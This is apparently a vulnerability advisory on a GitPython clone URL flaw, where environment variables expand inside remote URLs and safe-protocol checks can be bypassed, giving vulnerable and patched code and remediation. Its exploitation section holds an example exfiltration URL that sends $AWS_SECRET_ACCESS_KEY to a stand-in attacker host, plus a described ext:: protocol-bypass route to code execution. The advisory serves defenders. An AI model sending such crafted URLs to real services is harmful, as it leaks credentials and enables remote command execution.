Jul 22, 2026·7 min read·2 visits
Unsanitized URL evaluation in GitPython's clone API automatically expands environment variables, exposing credentials and enabling protocol validation bypasses.
An input validation flaw in GitPython allows remote attackers to exfiltrate system environment variables and bypass safe-protocol restrictions via crafted repository URLs passed to the clone API.
GitPython is a Python library used to interact with Git repositories, providing high-level abstractions like the Repo.clone_from() API. This API invokes system Git executables to execute operations over network protocols including HTTP, HTTPS, SSH, or local file systems.
The vulnerability resides in the sanitization and preprocessing flow applied to the remote URL prior to subprocess execution. Applications that accept user-provided repository URLs and pass them to GitPython APIs are exposed to remote information disclosure. An attacker can craft a URL containing environment variable syntax that GitPython evaluates internally, resulting in cleartext values being embedded into the connection string.
This behavior combines input validation failure (CWE-20) with sensitive information exposure (CWE-200). In addition to direct credentials exfiltration, this mechanism provides a direct bypass of GitPython's safe-protocol validation layers, allowing the execution of restricted protocols.
The core defect is located within the Git.polish_url() method in git/cmd.py and the _cygexpath() function in git/util.py. These helper routines normalize path slashes, manage Cygwin-specific paths, and clean up Windows file system separators. However, prior to the security patch, they unconditionally executed shell expansion utilities on any input URL.
Specifically, the implementation utilized os.path.expandvars() to parse environmental tokens, such as $VAR and ${VAR} on Unix systems, or %VAR% on Windows systems. This function parses the string and extracts the value of any matching environment variable present in the host process. Similarly, user home-directory expansion was applied via os.path.expanduser() when the path started with a tilde character.
This architecture contains two severe security design flaws. First, remote transport URLs are treated identically to local file system paths, allowing system environment variables to be expanded inside network endpoints. Second, the safe-protocol engine Git.check_unsafe_protocols() evaluates the input URL prior to the expansion phase. This sequence allows an attacker to hide dangerous protocols inside environment variables, bypassing validation because the checks are executed against the unpolished, non-expanded string.
A review of the vulnerable codebase shows how the application evaluated URLs and how the patch structurally decoupled variable expansion from remote transport paths. The sequence diagram below shows the processing order that permitted protocol bypasses.
In the vulnerable implementation of git/cmd.py, polish_url() was implemented as follows:
# VULNERABLE
@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
if is_cygwin is None:
is_cygwin = cls.is_cygwin()
if is_cygwin:
url = cygpath(url)
else:
url = os.path.expandvars(url) # Unconditional environmental expansion
if url.startswith("~"):
url = os.path.expanduser(url) # Unconditional user directory expansion
url = url.replace("\\\\", "\\").replace("\\", "/")
return urlThe corresponding patch introduces an expand_vars boolean parameter, which is explicitly set to False in cloning contexts. By disabling environment expansion for remote URLs, the literal token strings are passed directly to Git without evaluating host process environment variables.
# PATCHED
@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None, expand_vars: bool = True) -> PathLike:
# ... (Cygwin checks)
if is_cygwin:
url = cygpath(url, expand_vars=expand_vars)
else:
if expand_vars: # Expansion is now conditional
url = os.path.expandvars(url)
if url.startswith("~"):
url = os.path.expanduser(url)
url = url.replace("\\\\", "\\").replace("\\", "/")
return urlIn git/repo/base.py, the _clone() function was modified to construct clone_url with expand_vars=False and perform the protocol validation on the resulting polished string. This closes the gap where the validation check could be bypassed using variable substitutions.
# PATCHED CLONE INTERFACE
clone_url = Git.polish_url(url, expand_vars=False)
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(clone_url) # Validation run on polished URLAn attack exploiting this flaw requires the target application to accept an arbitrary repository URL from an external source and pass it directly to Repo.clone_from() or an equivalent API. The host process must also contain sensitive values in its environment variables, which is a common pattern in containerized deployments, cloud services, and CI/CD pipelines.
To perform credential exfiltration, the attacker configures a public server to capture incoming HTTP requests and log request parameters. The attacker then constructs a payload URL using environment variables known to exist on the target platform, such as https://attacker.com/collect/$AWS_SECRET_ACCESS_KEY. When the target application initiates the clone operation, GitPython substitutes the token with the actual AWS key, and the underlying git command makes an outbound HTTP GET request containing the secret path to the attacker's server.
Target environment:
AWS_SECRET_ACCESS_KEY = "example_secret_access_key"
Attacker submits URL:
https://attacker.com/collect/$AWS_SECRET_ACCESS_KEY
Resulting outbound request captured by attacker:
GET /collect/example_secret_access_key/info/refs?service=git-upload-pack HTTP/1.1
Host: attacker.com
User-Agent: git/2.34.1
To achieve remote code execution, an attacker uses a protocol validation bypass. By injecting a variable that resolves to a restricted protocol like ext::, the initial validation passes. For example, if the environment contains an attacker-controlled variable or a variable that expands to a command string, Git.check_unsafe_protocols() ignores the payload during its raw validation check. When GitPython expands the variables inside polish_url(), the final execution string is transformed into a command execution vector passed to the Git subprocess.
The impact of GHSA-RWJ8-PGH3-R573 is severe due to the combination of information disclosure and protocol bypass vectors. Successful exploitation of the environment variable expansion allows unauthenticated remote attackers to retrieve active session credentials, cloud provider tokens (e.g., AWS, Azure, GCP), database connection parameters, and internal application API secrets.
The vulnerability has a high confidentiality impact because environment variables frequently contain high-privilege credentials used by applications to authenticate to backend infrastructure. Because these variables are expanded and transmitted over standard outbound connections, firewalls and intrusion detection systems may classify the connection as legitimate Git traffic, hiding the exfiltration from basic perimeter controls.
The integrity impact is equally critical. By exploiting the validation bypass, an attacker can pivot from information disclosure to remote code execution (RCE). Initiating a clone command with dangerous protocols, such as ext::, allows executing arbitrary shell commands with the privileges of the running application process. This can lead to a full container escape, database compromise, or lateral movement within the network.
The most complete remediation is to upgrade GitPython to version 3.1.52 or later. This version introduces the expand_vars parameter, ensuring that variables in remote repository URLs are not expanded during cloning operations. It also ensures that safe-protocol validations are executed against the polished URL string, closing the protocol bypass vector.
If upgrading is not immediately possible, applications must implement input validation rules to sanitize user-provided repository URLs before passing them to GitPython. Reject any URL that contains characters associated with shell or environment expansion, such as the dollar sign ($) and percent sign (%). Additionally, ensure that URLs beginning with a tilde (~) are blocked to prevent user-directory expansion.
Organizations should also audit environment variables assigned to application processes. Limit the scope of secrets exposed to container runtimes, ensuring that applications do not run with unnecessary environment credentials. Implementing network-level egress filtering to restrict outbound HTTP/HTTPS and SSH connections to only authorized, trusted code repositories acts as a defense-in-depth measure against exfiltration attempts.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
GitPython gitpython-developers | < 3.1.52 | 3.1.52 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-200, CWE-20 |
| Attack Vector | Network (AV:N) |
| Estimated CVSS Score | 10.0 |
| Impact | Information Disclosure and Arbitrary Code Execution |
| Exploit Status | Proof of Concept (PoC) Available |
| KEV Status | Not Listed |
The product exposes sensitive information to an actor who is not authorized to have access to that information.
An unauthenticated memory-leak Denial of Service (DoS) vulnerability exists in the Node.js Adapter for Hono (@hono/node-server) during the WebSocket handshake upgrade process. If a client initiates a WebSocket upgrade but the process is aborted or fails, resources are permanently retained in memory, leading to heap exhaustion.
An issue in rails-html-sanitizer allowed attackers to bypass restrictions on SVG reference elements (such as <use> or <feImage>) when specific custom configurations allowed these tags. Because the sanitizer only restricted the legacy 'xlink:href' attribute to local references, modern browsers supporting plain 'href' attributes according to the SVG 2 specification would load external resources. This could lead to Cross-Site Scripting (XSS) or user tracking.
A Denial of Service (DoS) vulnerability has been identified in the Node.js XML parsing library fast-xml-parser. The flaw allows unauthenticated remote attackers to cause severe CPU exhaustion, event-loop blocking, and system crashes by sending a crafted XML payload containing repeated DOCTYPE declarations that bypass recursive entity expansion protections.
The high-performance Node.js image processing library sharp inherits several high and medium-severity security vulnerabilities from its underlying native dependency libvips. These include integer overflows in dimensions calculation, heap-based buffer overflows in GIF/TIFF and JPEG2000 processing, and out-of-bounds reads in the EXIF directory decoder, enabling denial of service and potential code execution.
An interpretation conflict (CWE-436) exists in fast-uri due to differing handling of backslash characters between RFC 3986 and the WHATWG URL specification. This differential allows remote attackers to bypass SSRF filters and origin-allowlist protections when fast-uri is used in conjunction with WHATWG-compliant HTTP clients like Node.js native fetch or undici.
An authorization bypass vulnerability exists in FasterXML jackson-databind versions 2.18.x up to 2.18.8 (and other release branches) where the active @JsonView constraint is bypassed during the deserialization of properties marked with @JsonUnwrapped. This allows remote, authenticated attackers to alter restricted administrative properties on server-side objects by injecting flattened parameters into standard JSON payloads.